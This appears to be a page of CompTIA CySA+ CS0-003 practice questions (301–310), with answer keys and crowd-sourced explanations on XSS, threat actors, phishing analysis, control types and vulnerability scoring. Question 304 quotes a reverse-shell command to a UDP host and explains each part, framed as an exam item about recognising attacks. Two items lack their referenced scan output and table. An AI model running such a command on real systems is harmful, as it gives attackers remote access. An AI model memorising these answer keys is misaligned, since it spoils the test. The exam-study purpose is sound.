CS0-003 practice questions 301–310

1. Question 301 · 527 in bank

   The security team reviews a web server for XSS and runs the following Nmap scan:

   

   Which of the following most accurately describes the result of the scan?

   • AAn output of characters > and " as the parameters used in the attempt
   • BThe vulnerable parameter ID http://172.31.15.2/1.php?id=2 and unfiltered characters returned
   • CThe vulnerable parameter and unfiltered or encoded characters passed > and " as unsafe
   • DThe vulnerable parameter id=2 with a SQL injection attempt

   Show answer

   Answer: C

   Explanation

   C. Because the parameters specific to XSS, have returned reflected - Correct A. Wrong, because it doesn't sepcify anywere that an output was observed B. Wrong, because it isn't specified anywhere that the parameters were returned D. Wrdong, SQLi could be identified by errors, or by delaied time because of the specific payload. Which was not observed here.

   Source: Adapted from community discussion — panzer

   Next question

2. Question 302 · 527 in bank

   A security analyst has identified outgoing network traffic leaving the enterprise at odd times. The traffic appears to pivot across network segments and target domain servers. The traffic is then routed to a geographic location to which the company has no association. Which of the following best describes this type of threat?

   • AHacktivist
   • BZombie
   • CInsider threat
   • DNation-state actor

   Show answer

   Answer: D

   Next question

3. Question 303 · 527 in bank

   Based on an internal assessment, a vulnerability management team wants to proactively identify risks to the infrastructure prior to production deployments. Which of the following best supports this approach?

   • AThreat modeling
   • BPenetration testing
   • CBug bounty
   • DSDLC training

   Show answer

   Answer: A

   Next question

4. Question 304 · 527 in bank

   A security analyst detects an exploit attempt containing the following command: sh -i >& /dev/udp/10.1.1.1/4821 0>$l Which of the following is being attempted?

   • ARCE
   • BReverse shell
   • CXSS
   • DSQL injection

   Show answer

   Answer: B

   Explanation

   The command sh -i >& /dev/udp/10.1.1.1/4821 0>$l is attempting to establish a reverse shell. In this command: sh -i: Launches the Bourne shell (sh) in interactive mode (-i), allowing for interactive command execution. >&: Redirects both standard output and standard error. /dev/udp/10.1.1.1/4821: Specifies the destination for the redirected output, in this case, an IP address (10.1.1.1) and port (4821) using UDP. 0>$l: Redirects file descriptor 0 (standard input) to an undefined variable $l. This command is attempting to establish a shell connection back to the specified IP address and port, effectively allowing the attacker to gain remote access to the system.

   Source: Adapted from community discussion — glenndexter

   Next question

5. Question 305 · 527 in bank

   An end user forwarded an email with a file attachment to the SOC for review. The SOC analysts think the file was specially crafted for the target. Which of the following investigative actions would best determine if the attachment was malicious?

   • AReview the file in Virus Total to determine if the domain is associated with any phishing.
   • BReview the email header to analyze the DKIM, DMARC, and SPF values.
   • CReview the source IP address in AbuseIPDB.
   • DReview the attachment’s behavior in a sandbox environment while running Wireshark.

   Show answer

   Answer: D

   Explanation

   D is the only one that makes sense. A) It was specifically crafted for the target, Virus Total won't pick it up. B) Email headers won't give you any useful info. C) This doesn't prove that the attachment is malicious.

   Source: Adapted from community discussion — yeahnodontthinkso

   Next question

6. Question 306 · 527 in bank

   Which of the following is instituting a security policy that users must lock their systems when stepping away from their desks an example of?

   • AConfiguration management
   • BCompensating control
   • CAwareness, education, and training
   • DAdministrative control

   Show answer

   Answer: D

   Explanation

   After looking through this again, it looks like D is the best answer. They aren't asking for how the organization will ensure it's employees will comply with the policy, they are defining the policy.

   Source: Adapted from community discussion — Popeyes_Chicken

   Next question

7. Question 307 · 527 in bank

   A security analyst needs to identify an asset that should be remediated based on the following information:

   

   Which of the following assets should the analyst remediate first?

   • AMail server
   • BDomain controller
   • CWeb server
   • DFile server

   Show answer

   Answer: C

   Next question

8. Question 308 · 527 in bank

   A cybersecurity analyst is setting up a security control that monitors network traffic and produces an active response to a security event. Which of the following tools is the analyst configuring?

   • AEDR
   • BIPS
   • CCASB
   • DWAF

   Show answer

   Answer: B

   Next question

9. Question 309 · 527 in bank

   Select 2

   Which of the following items should be included in a vulnerability scan report? (Choose two.)

   • ALessons learned
   • BService-level agreement
   • CPlaybook
   • DAffected hosts
   • ERisk score
   • FEducation plan

   Show answer

   Answer: DE

   Explanation

   Correct - From CertMaster: Vulnerability Report Content The report should detail identified vulnerabilities, such as missing patches, incorrect configuration settings, and weak passwords, and include the following: Details regarding the type of vulnerability - The number of instances - The affected systems - The risk levels - Recommendations

   Source: Adapted from community discussion — Mr_TooTs

   Next question

10. Question 310 · 527 in bank

    An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to a widely available exploit being used to deliver ransomware. Which of the following factors would an analyst most likely communicate as the reason for this escalation?

    • AScope
    • BWeaponization
    • CCVSS
    • DAsset value

    Show answer

    Answer: B

    Explanation

    B) Weaponization Certmaster Topic 6B: Exploring Vulnerability Context Considerations Assessing the severity of a vulnerability is a crucial component of vulnerability analysis. It is important to remember that vulnerability scores are not static; they are subject to change based on several factors. When adjusting vulnerability scores, organizations must consider a variety of special considerations, such as the availability of patches, the impact of the vulnerability, and the level of sophistication of the threat actors targeting them. By taking the time to consider these additional factors, organizations can ensure that their vulnerability scores are appropriately adjusted and accurately reflect the actual risk posed by the vulnerability. Organizations consider several factors to ensure that vulnerability scores are appropriately adjusted. Some of the most common include the following: (1/3)

    Source: Adapted from community discussion — [Removed]

    Next question

Keyboard:J Kmove between questionsA–Dselect an answerRshow or hide the answer← →change page

CS0-003 practice, question 301. 527 questions available.